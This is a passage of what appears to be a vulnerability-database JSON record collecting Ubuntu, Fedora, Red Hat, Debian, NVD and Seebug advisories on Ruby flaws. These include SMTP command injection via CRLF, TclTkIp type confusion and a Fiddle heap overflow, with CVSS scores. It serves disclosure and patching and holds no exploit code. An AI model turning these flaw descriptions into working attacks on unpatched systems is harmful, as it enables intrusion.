It was discovered that Ruby Net::SMTP incorrectly handled CRLF sequences. A remote attacker could possibly use this issue to inject SMTP commands. (CVE-2015-9096) Marcin Noga discovered that Ruby incorrectly handled certain arguments in a TclTkIp class method. An attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2016-2337) It was discovered that Ruby Fiddle::Function.new incorrectly handled certain arguments. An attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2016-2339)
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A stack out-of-bounds read occurs in match_at() during regular expression searching. A logical error involving order of validation and access in match_at() could result in an out-of-bounds read from a stack buffer.(CVE-2017-9224)\n\n - A SMTP command injection flaw was found in the way Ruby's Net::SMTP module handled CRLF sequences in certain SMTP commands. An attacker could potentially use this flaw to inject SMTP commands in a SMTP session in order to facilitate phishing attacks or spam campaigns.(CVE-2015-9096)\n\n - Constructed ASN.1 types with a recursive definition (such as can be found in PKCS7) could eventually exceed the stack given malicious input with excessive recursion. This could result in a Denial Of Service attack. There are no such structures used within SSL/TLS that come from untrusted sources so this is considered safe. Fixed in OpenSSL 1.1.0h (Affected 1.1.0-1.1.0g). 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(bsc#1056286).\n\nCVE-2017-0901: Fixed an issue with malicious gem specifications, potentially overwriting arbitrary files on the client system (bsc#1056286).\n\nCVE-2017-0902: Fixed an issue with malicious gem specifications, that could have enabled MITM attacks against clients (bsc#1056286).\n\nCVE-2017-0903: Fixed an unsafe object deserialization vulnerability (bsc#1062452).\n\nCVE-2017-9228: Fixed a heap out-of-bounds write in bitset_set_range() during regex compilation (bsc#1069607).\n\nCVE-2017-9229: Fixed an invalid pointer dereference in left_adjust_char_head() in oniguruma (bsc#1069632).\n\nCVE-2017-10784: Fixed an escape sequence injection vulnerability in the Basic authentication of WEBrick (bsc#1058754).\n\nCVE-2017-14033: Fixed a buffer underrun vulnerability in OpenSSL ASN1 decode (bsc#1058757).\n\nCVE-2017-14064: Fixed an arbitrary memory exposure during a JSON.generate call (bsc#1056782).\n\nCVE-2017-17405: Fixed a command injection vulnerability in Net::FTP (bsc#1073002).\n\nCVE-2017-17742: Fixed an HTTP response splitting issue in WEBrick (bsc#1087434).\n\nCVE-2017-17790: Fixed a command injection in lib/resolv.rb:lazy_initialize() (bsc#1078782).\n\nCVE-2018-6914: Fixed an unintentional file and directory creation with directory traversal in tempfile and tmpdir (bsc#1087441).\n\nCVE-2018-8777: Fixed a potential DoS caused by large requests in WEBrick (bsc#1087436).\n\nCVE-2018-8778: Fixed a buffer under-read in String#unpack (bsc#1087433).\n\nCVE-2018-8779: Fixed an unintentional socket creation by poisoned NUL byte in UNIXServer and UNIXSocket (bsc#1087440).\n\nCVE-2018-8780: Fixed an unintentional directory traversal by poisoned NUL byte in Dir (bsc#1087437).\n\nCVE-2018-16395: Fixed an issue with OpenSSL::X509::Name equality checking (bsc#1112530).\n\nCVE-2018-16396: Fixed an issue with tainted string handling, where the flag was not propagated in Array#pack and String#unpack with some directives (bsc#1112532).\n\nCVE-2018-1000073: Fixed a path traversal issue (bsc#1082007).\n\nCVE-2018-1000074: Fixed an unsafe object deserialization vulnerability in gem owner, allowing arbitrary code execution with specially crafted YAML (bsc#1082008).\n\nCVE-2018-1000075: Fixed an infinite loop vulnerability due to negative size in tar header causes Denial of Service (bsc#1082014).\n\nCVE-2018-1000076: Fixed an improper verification of signatures in tarballs (bsc#1082009).\n\nCVE-2018-1000077: Fixed an improper URL validation in the homepage attribute of ruby gems (bsc#1082010).\n\nCVE-2018-1000078: Fixed a XSS vulnerability in the homepage attribute when displayed via gem server (bsc#1082011).\n\nCVE-2018-1000079: Fixed a path traversal issue during gem installation allows to write to arbitrary filesystem locations (bsc#1082058).\n\nCVE-2019-8320: Fixed a directory traversal issue when decompressing tar files (bsc#1130627).\n\nCVE-2019-8321: Fixed an escape sequence injection vulnerability in verbose (bsc#1130623).\n\nCVE-2019-8322: Fixed an escape sequence injection vulnerability in gem owner (bsc#1130622).\n\nCVE-2019-8323: Fixed an escape sequence injection vulnerability in API response handling (bsc#1130620).\n\nCVE-2019-8324: Fixed an issue with malicious gems that may have led to arbitrary code execution (bsc#1130617).\n\nCVE-2019-8325: Fixed an escape sequence injection vulnerability in errors (bsc#1130611).\n\nCVE-2019-15845: Fixed a NUL injection vulnerability in File.fnmatch and File.fnmatch? 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An attacker could possibly use this issue to open libraries with \ntainted names. This issue only applied to Ubuntu 14.04 LTS. (CVE-2009-5147)\n\nTony Arcieri, Jeffrey Walton, and Steffan Ullrich discovered that the Ruby \nOpenSSL extension incorrectly handled hostname wildcard matching. This \nissue only applied to Ubuntu 14.04 LTS. (CVE-2015-1855)\n\nChristian Hofstaedtler discovered that Ruby Fiddle::Handle incorrectly \nhandled certain crafted strings. An attacker could use this issue to cause \na denial of service, or possibly execute arbitrary code. This issue only \napplied to Ubuntu 14.04 LTS. (CVE-2015-7551)\n\nIt was discovered that Ruby Net::SMTP incorrectly handled CRLF sequences. A \nremote attacker could possibly use this issue to inject SMTP commands. \n(CVE-2015-9096)\n\nMarcin Noga discovered that Ruby incorrectly handled certain arguments in \na TclTkIp class method. An attacker could possibly use this issue to \nexecute arbitrary code. This issue only affected Ubuntu 14.04 LTS. \n(CVE-2016-2337)\n\nIt was discovered that Ruby Fiddle::Function.new incorrectly handled \ncertain arguments. An attacker could possibly use this issue to execute \narbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2016-2339)\n\nIt was discovered that Ruby incorrectly handled the initialization vector \n(IV) in GCM mode. An attacker could possibly use this issue to bypass \nencryption. (CVE-2016-7798)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-07-25T00:00:00", "type": "ubuntu", "title": "Ruby vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-5147", "CVE-2015-1855", "CVE-2015-7551", "CVE-2015-9096", "CVE-2016-2337", "CVE-2016-2339", "CVE-2016-7798"], "modified": "2017-07-25T00:00:00", "id": "USN-3365-1", "href": "https://ubuntu.com/security/notices/USN-3365-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "fedora": [{"lastseen": "2020-12-21T08:17:54", "description": "Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (as in Perl). It is simple, straight-forward, and extensible. ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2017-08-22T12:50:07", "type": "fedora", "title": "[SECURITY] Fedora 25 Update: ruby-2.3.4-63.fc25", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096"], "modified": "2017-08-22T12:50:07", "id": "FEDORA:444C26012FEA", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/4ACU2LS24Q6HSYVPGMK2S6KZZGN76BVX/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "ubuntucve": [{"lastseen": "2023-08-08T20:46:16", "description": "Net::SMTP in Ruby before 2.4.0 is vulnerable to SMTP command injection via\nCRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF\nsequences immediately before and after a DATA substring.\n\n#### Bugs\n\n * <https://github.com/rubysec/ruby-advisory-db/issues/215>\n * <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=864860>\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2017-06-12T00:00:00", "type": "ubuntucve", "title": "CVE-2015-9096", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096"], "modified": "2017-06-12T00:00:00", "id": "UB:CVE-2015-9096", "href": "https://ubuntu.com/security/CVE-2015-9096", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-06-28T14:34:03", "description": "An exploitable heap overflow vulnerability exists in the\nFiddle::Function.new \"initialize\" function functionality of Ruby. In\nFiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is\nmade based on args array length. Specially constructed object passed as\nelement of args array can increase this array size after mentioned\nallocation and cause heap overflow.\n\n#### Bugs\n\n * <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=851161>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | 2.3.0 and later not affected\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-01-06T00:00:00", "type": "ubuntucve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2017-01-06T00:00:00", "id": "UB:CVE-2016-2339", "href": "https://ubuntu.com/security/CVE-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-28T14:34:04", "description": "Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Attacker\npassing different type of object than String as \"retval\" argument can cause\narbitrary code execution.\n\n#### Bugs\n\n * <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=851161>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | 2.3.0 and later not affected\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-01-06T00:00:00", "type": "ubuntucve", "title": "CVE-2016-2337", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2017-01-06T00:00:00", "id": "UB:CVE-2016-2337", "href": "https://ubuntu.com/security/CVE-2016-2337", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhatcve": [{"lastseen": "2021-09-02T22:49:33", "description": "A SMTP command injection flaw was found in the way Ruby's Net::SMTP module handled CRLF sequences in certain SMTP commands. An attacker could potentially use this flaw to inject SMTP commands in a SMTP session in order to facilitate phishing attacks or spam campaigns.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2017-06-15T12:49:41", "type": "redhatcve", "title": "CVE-2015-9096", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096"], "modified": "2020-04-08T22:38:38", "id": "RH:CVE-2015-9096", "href": "https://access.redhat.com/security/cve/cve-2015-9096", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-09-02T22:54:13", "description": "An exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-12T14:50:43", "type": "redhatcve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2020-04-08T22:05:25", "id": "RH:CVE-2016-2339", "href": "https://access.redhat.com/security/cve/cve-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-03T01:51:46", "description": "Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Attacker passing different type of object than String as \"retval\" argument can cause arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-12T14:50:37", "type": "redhatcve", "title": "CVE-2016-2337", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2020-04-08T22:04:23", "id": "RH:CVE-2016-2337", "href": "https://access.redhat.com/security/cve/cve-2016-2337", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2021-12-14T17:52:31", "description": "Net::SMTP in Ruby before 2.4.0 is vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF sequences immediately before and after a DATA substring.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2017-06-12T20:29:00", "type": "debiancve", "title": "CVE-2015-9096", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096"], "modified": "2017-06-12T20:29:00", "id": "DEBIANCVE:CVE-2015-9096", "href": "https://security-tracker.debian.org/tracker/CVE-2015-9096", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-12-14T17:52:31", "description": "Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Attacker passing different type of object than String as \"retval\" argument can cause arbitrary code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-06T21:59:00", "type": "debiancve", "title": "CVE-2016-2337", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2017-01-06T21:59:00", "id": "DEBIANCVE:CVE-2016-2337", "href": "https://security-tracker.debian.org/tracker/CVE-2016-2337", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-14T17:52:31", "description": "An exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-06T21:59:00", "type": "debiancve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2017-01-06T21:59:00", "id": "DEBIANCVE:CVE-2016-2339", "href": "https://security-tracker.debian.org/tracker/CVE-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2023-08-07T07:06:27", "description": "Net::SMTP in Ruby before 2.4.0 is vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF sequences immediately before and after a DATA substring.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2017-06-12T20:29:00", "type": "cve", "title": "CVE-2015-9096", "cwe": ["CWE-93"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096"], "modified": "2018-07-15T01:29:00", "cpe": ["cpe:/a:ruby-lang:ruby:2.4.0"], "id": "CVE-2015-9096", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9096", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:ruby-lang:ruby:2.4.0:rc1:*:*:*:*:*:*"]}, {"lastseen": "2023-06-03T14:29:39", "description": "An exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-01-06T21:59:00", "type": "cve", "title": "CVE-2016-2339", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2018-07-15T01:29:00", "cpe": ["cpe:/a:ruby-lang:ruby:2.3.0", "cpe:/a:ruby-lang:ruby:2.2.2"], "id": "CVE-2016-2339", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:ruby-lang:ruby:2.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:2.3.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-06-03T14:29:41", "description": "Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Attacker passing different type of object than String as \"retval\" argument can cause arbitrary code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-01-06T21:59:00", "type": "cve", "title": "CVE-2016-2337", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2018-08-28T10:29:00", "cpe": ["cpe:/a:ruby-lang:ruby:2.3.0", "cpe:/a:ruby-lang:ruby:2.2.2"], "id": "CVE-2016-2337", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-2337", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:ruby-lang:ruby:2.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:2.3.0:*:*:*:*:*:*:*"]}], "seebug": [{"lastseen": "2017-11-19T11:56:07", "description": "### DESCRIPTION\r\nType Confusion exists in canceleval Ruby's TclTkIp class method. Attacker passing different type of object than String as \"retval\" argument can cause arbitrary code execution.\r\n\r\n### TESTED VERSIONS\r\nRuby 2.3.0 dev Ruby 2.2.2 